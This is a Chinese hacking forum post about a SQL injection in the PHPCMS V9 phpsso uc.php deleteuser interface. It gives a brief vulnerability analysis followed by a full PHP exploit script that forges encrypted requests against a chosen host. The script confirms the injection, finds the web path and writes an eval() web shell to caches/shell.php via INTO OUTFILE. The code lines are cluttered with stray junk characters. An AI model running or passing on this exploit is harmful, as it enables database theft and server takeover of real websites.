找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1990|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
! B1 U9 |2 H5 B8 g9 o3 p7 ?; h: p+ L5 T  x9 n* J7 g
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
8 F, ^9 j- |9 q* J9 b
. d+ @8 k9 Z1 O7 \% d, X; e7 \漏洞分析:4 v( ?2 ?( N* D, b1 y# S
1.未启用ucenter服务的情况下uc_key为空
! L, l7 U6 P( A2 pdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));7 n4 ]$ J4 |. D( }. Z; W, a
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
0 R: g7 L0 f. D! p, q4 r    public function deleteuser($get,$post) {
: {3 M% x8 p1 }# X) F1 M  Q        pc_base::load_app_func('global', 'admin');  d8 R* _; g. ^' j6 N1 x
        pc_base::load_app_class('messagequeue', 'admin' , 0);6 g, C6 q* t7 A3 u: H8 @
        $ids = new_stripslashes($get['ids']);" @& d8 L0 G8 w
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
; L6 m) Y9 w* `. f, hSQL语句为8 q. h* _. }- g$ I  }
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
) e) F/ ]' m( i, h" x  d# z) F# v% F. b8 C) m& Y) i
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell: m# _. a& U  W% a
<?php: j- Q4 G3 y5 P# f
print_r('
0 v5 ]  i) ^% m6 u) F2 o( Q---------------------------------------------------------------------------
$ K; K3 L9 c& W3 E1 M) N# `5 [PHPcms (v9 or Old Version) uc api sql injection 0day* O! L6 u6 E; D# g: P
by rayh4c#80sec.com9 ]0 W: O3 A' w) y/ l6 g9 g
---------------------------------------------------------------------------
* R! I* ]$ f: I* {6 L9 ~');( Q% a8 `. ^/ ]5 {& c; r
; I" {8 f/ Y+ q' O0 U7 r; u8 q
if ($argc<3) {
1 @" z. Y0 ]+ e4 n5 p. r; U% {; v    print_r('
0 y) q3 U) N1 R---------------------------------------------------------------------------
6 {( ]; \5 H) S& f+ xUsage: php '.$argv[0].' host path OPTIONS
1 W% y  O' e* W" B/ yhost:      target server (ip/hostname)
3 |, ^6 G6 t$ }: w  d, Cpath:      path to phpcms% T1 ^2 `! G2 m) r. W
Options:% V( d* W: _8 e. w
-p[port]:    specify a port other than 803 T4 o+ _, g( W
-P[ip:port]: specify a proxy
0 \, c" i* D4 \. u- SExample:
- j% V$ l# d2 w: K# ^/ _php '.$argv[0].' localhost /8 f2 H3 c( X7 H# h3 M) f6 T
php '.$argv[0].' localhost /phpcms/ -p81
+ Z; g9 g! a6 C1 W) z7 W+ ^php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
% \8 S6 M9 k% u1 h( y- n---------------------------------------------------------------------------
4 l" ~1 i% d' y; T$ R');" T& w" O0 S5 |# v/ z
    die;! G3 i; N7 u& T  V: G2 r+ x8 a; @, E
}1 R' ~2 {6 Y" \- A+ X
* V  Z2 v( K" \" f2 D
error_reporting(7);3 G4 E$ _- k& k6 F4 G
ini_set("max_execution_time",0);0 w! J. u) p6 w# }, o
ini_set("default_socket_timeout",5);
6 x0 v* S& [( P( Z! S1 D; e5 d& q0 @4 }2 X; w
function quick_dump($string)
& a* ]* R) z( \4 J& p( l9 k, @{- q4 F6 \0 e) m+ T2 v: C  E3 ]2 l
  $result='';$exa='';$cont=0;
' L8 i6 C: m4 M! M  for ($i=0; $i<=strlen($string)-1; $i++)7 i& r0 H2 Y. y8 F; c
  {
9 v- Z9 v  _4 I# [1 d" H# v- I3 C6 e1 n   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))7 {6 a- J/ o$ ?1 @
   {$result.="  .";}
. G4 u0 U' S: ]7 b$ N. {1 K# g: o& n   else% V! O2 o7 c; u& P6 U5 A
   {$result.="  ".$string[$i];}+ A1 y4 I2 o0 r% Q. J/ Z
   if (strlen(dechex(ord($string[$i])))==2)
% ]5 ^( F4 z4 S. f% ~* E) F   {$exa.=" ".dechex(ord($string[$i]));}5 I; \% J# t: n0 C7 t- A
   else
7 }. I# F5 p% J- m6 u$ Y; y   {$exa.=" 0".dechex(ord($string[$i]));}4 ~% W9 M  s7 R5 \0 l1 {
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
. N5 \& i3 V, q: W2 |  }
: o. u# l% ]/ T, k; {+ u" Z return $exa."\r\n".$result;
' l3 V  b! H) S! ?6 q1 S, ?* }}
0 S0 v2 T/ |5 R+ G' x; _2 s$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
5 P: N% V* e" _6 p. Z7 _% y/ ?0 _7 F
function send($packet)  ^: b5 g, k; X
{+ L; d; v# K0 _0 L9 T+ z  i
  global $proxy, $host, $port, $html, $proxy_regex;
8 K. b0 R: g6 {- k& T- {5 k  if ($proxy=='') {; ~8 \; @% G( ?  o8 ]' V0 B1 v
    $ock=fsockopen(gethostbyname($host),$port);! _4 [* v# }8 s5 z2 _7 R# ^' ^
    if (!$ock) {' N- |9 Q7 M7 k% g
      echo 'No response from '.$host.':'.$port; die;
) z+ @, G8 M# v; n. z7 R    }7 J, C; _7 P: `& }1 {0 P$ I
  }1 _: o5 C# o3 ~: t$ C
  else {' G2 L  k4 N  w! u! [8 l2 @* E, f
        $c = preg_match($proxy_regex,$proxy);5 A7 t3 H* Z5 ?% o5 b. M
    if (!$c) {. x) }6 o. `6 D% j% l
      echo 'Not a valid proxy...';die;) G, r; u) X6 ]2 a: J
    }
( c+ {8 z- k' u$ o2 J    $parts=explode(':',$proxy);- S7 L+ U8 ~8 u5 p8 y
    $parts[1]=(int)$parts[1];
! @, I3 ]2 m# `8 i/ S    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ W7 O1 x1 c& a5 _) {
    $ock=fsockopen($parts[0],$parts[1]);
: x. R/ ^* l- O, h    if (!$ock) {
1 a  g. f# h: c. ]      echo 'No response from proxy...';die;1 m$ n, u7 R! m7 o! j9 [
        }
: N; k5 q( F+ E* y3 C) }8 X2 k! u  }# ]" J8 ^1 |# ]/ G+ F
  fputs($ock,$packet);
  \0 R$ n6 w/ t; Z8 d& B: k  if ($proxy=='') {
$ E3 b0 W. `' d; ~* U- b: ]. v    $html='';
# N2 k% b6 D7 z7 x5 h/ Q* ?& p    while (!feof($ock)) {3 O1 p4 x& N, o) |3 ], |
      $html.=fgets($ock);
- `$ n9 g* @& M1 O9 p; O! N) G    }. F) F' b8 W: F, ?. `
  }" N. r1 {9 b# t6 a4 V
  else {
! K+ \, u* }# O- w; B! G* b, g    $html='';7 Q8 C; @) _. d' P2 S6 N4 g; i
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {' L  G1 w+ q( c+ E8 ]
      $html.=fread($ock,1);' s7 X+ _# C" o, W1 Z; C% R! @8 a- \
    }) z" [% B% K' u4 d/ U! y  ^
  }
% R- l* f  F7 w" G  fclose($ock);) H! E* m+ y2 k$ O" L+ `# C
}  Q) W! D! f% ?$ L6 a. A
9 M& u) O; [1 m9 c# K
$host=$argv[1];
* P. J' c6 n7 W( z& x$path=$argv[2];
9 C$ J. ?6 g) d, ^" t$port=80;2 C2 w: |8 e. L! b* B
$proxy="";
( y0 E- L( j* d9 W3 kfor ($i=3; $i<$argc; $i++){0 s. k) y: D  C' P& f% N
$temp=$argv[$i][0].$argv[$i][1];& c8 o$ ]! Q/ A, F2 C3 L
if ($temp=="-p")
) J, T) P# H: v{
0 d1 K$ L6 b& k  o1 b4 l/ Z  $port=(int)str_replace("-p","",$argv[$i]);" D0 B' P% s4 g2 c8 n
}- t5 Y- M1 Y& R( O1 N8 f
if ($temp=="-P")
4 K( D' ^8 y) x) M  d{, C3 p! V" W% p: {1 m
  $proxy=str_replace("-P","",$argv[$i]);, i  ~+ f. [: H' J. ?
}
5 i9 u. a1 p5 Q}  Q) o4 m) x0 }" M$ W" v2 v
3 i% K4 V# t1 ]1 [) k
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
. k# z3 I9 L: m) t. P! e/ Pif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
5 c5 [2 o; l5 s0 L
, c- m) J: Q2 E! ^3 Yfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
4 }4 [9 c6 o3 b3 T2 M
! }2 R. H9 e( B  h3 q    $ckey_length = 4;" {/ E9 {2 @! W' d: Y# H
9 I" ^0 e; W! F% }
    $key = md5($key ? $key : '');0 ^- {& a, E5 X  U5 L$ j1 u
    $keya = md5(substr($key, 0, 16));# h; L8 _+ k4 k
    $keyb = md5(substr($key, 16, 16));/ K8 s# W( v: i, L0 S* d
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
2 e- d- p5 J: X( A, F% P
) [% k# H$ E, M, N' o0 L1 G    $cryptkey = $keya.md5($keya.$keyc);( {+ n" P0 C: ?& D
    $key_length = strlen($cryptkey);$ d; G6 o' I) d1 h( F+ G
; _, w5 W% p. Q$ D* B
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;6 }8 A' }0 @2 G7 ~+ A+ i
    $string_length = strlen($string);" {7 s  ]: n* @9 i& r6 J

  \. x" P. w6 {' T' _* c    $result = '';
) j' t% w/ l( m% i( l    $box = range(0, 255);# J' g" o2 A& x( i0 y' C: t. G3 Y
5 \$ t6 W' |# _, w% w
    $rndkey = array();
  v# `& b+ d/ Y    for($i = 0; $i <= 255; $i++) {$ `6 _. T% C6 x  J9 p5 R4 G
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
4 T8 Y8 {" \# Z    }
( |. ?! x' b; E  Q9 w( D" c" i* X6 v
1 ]" X$ C8 o: N, m& T! @+ e    for($j = $i = 0; $i < 256; $i++) {  V) ^  h1 R: s' `
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
$ |+ O# Z$ @2 f' T- ?) m        $tmp = $box[$i];
5 e1 F8 z- w7 X        $box[$i] = $box[$j];
9 j* F/ Y( s( }5 ]( P  L        $box[$j] = $tmp;
4 C+ ]5 f, x  z. {7 a- J! X    }7 P$ O) }5 c; w

- b( }  E7 |, P/ b6 b2 j    for($a = $j = $i = 0; $i < $string_length; $i++) {
% T3 B# u. C4 n* i. X3 y# }+ l        $a = ($a + 1) % 256;
: R2 a7 b. `& ^  w6 z, {# D4 G$ L        $j = ($j + $box[$a]) % 256;
' }' U! I1 [# P9 A        $tmp = $box[$a];3 m& J- U. s; O) g- h( q
        $box[$a] = $box[$j];# I0 X+ i$ I0 Z# ^" \
        $box[$j] = $tmp;
+ s6 w$ \. r+ o2 c' t        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));6 ?3 ~8 Y2 W. U4 n
    }
9 f# B/ B% b% L. f; ^
+ _' ?% _" I5 L2 r3 ]    if($operation == 'DECODE') {
4 w) z' o* [$ M2 Z' `  l        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {8 K) c8 c2 T$ [" E7 w' V
            return substr($result, 26);$ D) w" e4 S, I% }2 F5 L
        } else {$ K: L' Z. f2 x  }0 I& X
            return '';
+ H- n; i% U, N) C6 {  z. U        }7 E, O1 Q# Q& i4 t
    } else {
& i/ D3 v6 e9 [        return $keyc.str_replace('=', '', base64_encode($result));
! C: x8 T4 x# r( B% v    }& B; [0 o* B6 u6 V% F, e& D: [7 W- X

. y/ `8 R/ a2 z}9 N) z$ A! L% x7 ?' p% E& k. `
8 A/ W: {% |: `( y" l- h3 }
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";1 B: a0 O( k3 I" m0 k5 i
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
8 h$ B9 \3 j6 \* K+ v7 U# M" P% a* Hecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$ `/ ?% M/ N) [4 O8 ?5 `4 p9 g$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";/ \7 M4 |1 T0 E
$packet.="User-Agent: Mozilla/5.0\r\n";1 c1 ?5 l0 r( H
$packet.="Host: ".$host."\r\n";$ E4 t2 a  I7 ~: w1 z5 n
$packet.="Connection: Close\r\n\r\n";
! B) Z: Z* ^7 @& _& Hsend($packet);, J. X* D' ]$ X6 n# V
if(strpos($html,"MySQL Errno") > 0){
2 p" t, w( l4 ]! xecho "[2] 发现存在SQL注入漏洞"."\n";
( X2 I* Z% h5 A9 wecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";+ ~- |, }7 O  L  y7 b2 V: P8 C
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
. Q) ~# M4 c4 d3 u$packet.="User-Agent: Mozilla/5.0\r\n";
: p$ o" j/ `' }. ]$packet.="Host: ".$host."\r\n";) {( W# O: [1 B( |
$packet.="Connection: Close\r\n\r\n";
* K1 B: W' j) e5 {send($packet);
2 y$ c" x$ b0 W' }: @. Rpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
4 ]5 n/ [* ~0 k6 V" O. T: H//print_r($matches);5 q3 K  p+ [; l: Q! T  a: n6 {
if(!empty($matches)){7 c6 K4 Q9 r: _: R$ ]0 h) f
echo "[4] 得到web路径 " . $matches[0]."\n";
- Z& u7 `( c: }$ B  a  E; Y; {- Vecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
1 {( F# w: u/ d! M. p+ l) B$SQL = "time=999999999999999999999999&ids=1)";
$ P3 D3 E! x; t/ b- `! L$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";: m9 u4 y3 j( T; @/ ?
$SQL.="&action=deleteuser";
5 N+ b3 |7 X% m4 n$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 F. C" T8 ~; u% u
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";, ~1 q( B+ K! B
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";6 P7 o# T/ C2 c; h+ j6 [8 p
$packet.="User-Agent: Mozilla/5.0\r\n";
$ S3 r$ X. o% D  m$packet.="Host: ".$host."\r\n";: f6 D1 L. x: \4 [5 v8 ~
$packet.="Connection: Close\r\n\r\n";( L3 E" Q& k5 x9 Y* }4 R% S( [
send($packet);* t3 y2 {8 t; N7 B0 c# K
if(strpos($html,"Access denied") > 0){* q" }+ \- }) _$ T# D' _$ ]7 q) O
echo "[-] MYSQL权限过低 禁止写入文件 ";
- u& w( G1 Q, W$ M6 Q% Ldie;
4 O. E7 C! z  a6 _0 l' `# p2 v}
" w- c! h4 s! N% V* j* k9 R3 pecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 T* B! h5 W+ z1 d1 H, Q4 D
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";( Q, T2 q5 l7 x! }. @7 s* H5 x
$packet.="User-Agent: Mozilla/5.0\r\n";
* a( i+ Z1 D1 v. X- ~$ G' c; m0 d$packet.="Host: ".$host."\r\n";3 {8 m" k9 S3 v  o
$packet.="Connection: Close\r\n\r\n";
1 h) n# T8 G2 U+ ]& bsend($packet);2 h4 _! T' T9 j& d1 U
if(strpos($html,"<title>phpinfo()</title>") > 0){
6 x6 N. M/ B9 r" N4 @. a1 D$ jecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
  e% j) W* {4 E- s}7 m: `" ~6 _/ W4 q' A
}else{
+ g& N8 i$ g  I( p  a$ iecho "[-]未取到web路径 ";. ], ?5 |$ t& _+ o
}4 j. Z( j0 ^& |4 M
}else{" G% `  Q7 U' ~1 [+ l. F# j7 G
echo "[*]不存在SQL注入漏洞"."\n";
5 k' J7 O: }" q, M( i' N}
, q. T6 ?! f+ L5 g8 i! V
4 n0 {/ x) n1 |+ [0 [5 u?>
% C1 r- @4 O0 Q! g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表